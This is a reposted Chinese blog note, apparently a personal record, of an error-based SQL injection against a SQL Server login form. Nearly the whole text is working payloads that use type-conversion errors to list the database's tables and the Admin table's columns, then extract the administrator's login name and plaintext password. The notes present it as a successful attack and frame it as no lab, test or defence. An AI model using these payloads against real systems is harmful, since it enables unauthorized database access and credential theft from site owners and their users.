登录框注入笔记

1' and 1=convert(int,(select top 1 name from sysobjects where xtype='U')) and '1'='1

首先:select top 1 name form sysobjects where xtype='U'用来查数据库中的用户表

说明存在sysdiagrams 这个表

1' and 1=(select top 1 name from sysobjects where xtype='U') and '1' ='1


sysdiagrams


1' and 1=(select top 1 name from sysobjects where xtype='U' and name not in('sysdiagrams')) and '1' ='1

表:Commonness


继续:1' and 1=(select top 1 name from sysobjects where xtype='U' and name not in('sysdiagrams','Commonness')) and '1' ='1

表:Bargain

go on :1' and 1=(select top 1 name from sysobjects where xtype='U' and name not in('sysdiagrams','Commonness','Bargain')) and '1' ='1

表:ValidationReport

继续:1' and 1=(select top 1 name from sysobjects where xtype='U' and name not in('sysdiagrams','Commonness','Bargain','ValidationReport')) and '1' ='1


表:Examine

继续:1' and 1=(select top 1 name from sysobjects where xtype='U' and name not in('sysdiagrams','Commonness','Bargain','ValidationReport','Examine')) and '1' ='1

表:OpinionBook

1' and 1=(select top 1 name from sysobjects where xtype='U' and name not in('sysdiagrams','Commonness','Bargain','ValidationReport','Examine','OpinionBook')) and '1' ='1

表:ProjectInformation

1' and 1=(select top 1 name from sysobjects where xtype='U' and name not in('sysdiagrams','Commonness','Bargain','ValidationReport','Examine','OpinionBook','ProjectInformation')) and '1' ='1

表:Company

1' and 1=(select top 1 name from sysobjects where xtype='U' and name not in('sysdiagrams','Commonness','Bargain','ValidationReport','Examine','OpinionBook','ProjectInformation','Company')) and '1' ='1

表:yinfu


1' and 1=(select top 1 name from sysobjects where xtype='U' and name not in('sysdiagrams','Commonness','Bargain','ValidationReport','Examine','OpinionBook','ProjectInformation','Company','yinfu')) and '1' ='1


表:NewsType

1' and 1=(select top 1 name from sysobjects where xtype='U' and name not in('sysdiagrams','Commonness','Bargain','ValidationReport','Examine','OpinionBook','ProjectInformation','Company','yinfu','NewsType')) and '1' ='1

表:AdminType

1' and 1=(select top 1 name from sysobjects where xtype='U' and name not in('sysdiagrams','Commonness','Bargain','ValidationReport','Examine','OpinionBook','ProjectInformation','Company','yinfu','NewsType','AdminType')) and '1' ='1

表:Admin

==========================================================================================================

1' and 1=convert(int,(select top 1 col_name(object_id ('Admin'),1) from Admin)) and '1'='1

1'and 1= (select top 1 col_name(object_id('admin'),1) from Admin) and '1'='1

列:ID
1'and 1= (select top 1 col_name(object_id('admin'),2) from Admin) and '1'='1

列:LoginName

1'and 1= (select top 1 col_name(object_id('admin'),3) from Admin) and '1'='1

列:Passward

==========================================================================================================
1' and 1=convert(int,(select top 1 LoginName from Admin)) and '1'='1

admin

1'and 1=(select top 1 Passward from Admin) and '1'='1

admin123

==========================================================================================================

 

 

 


原文链接: http://blog.csdn.net/mypc2010/article/details/8209002

转载于:https://my.oschina.net/changpinghu/blog/92481

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值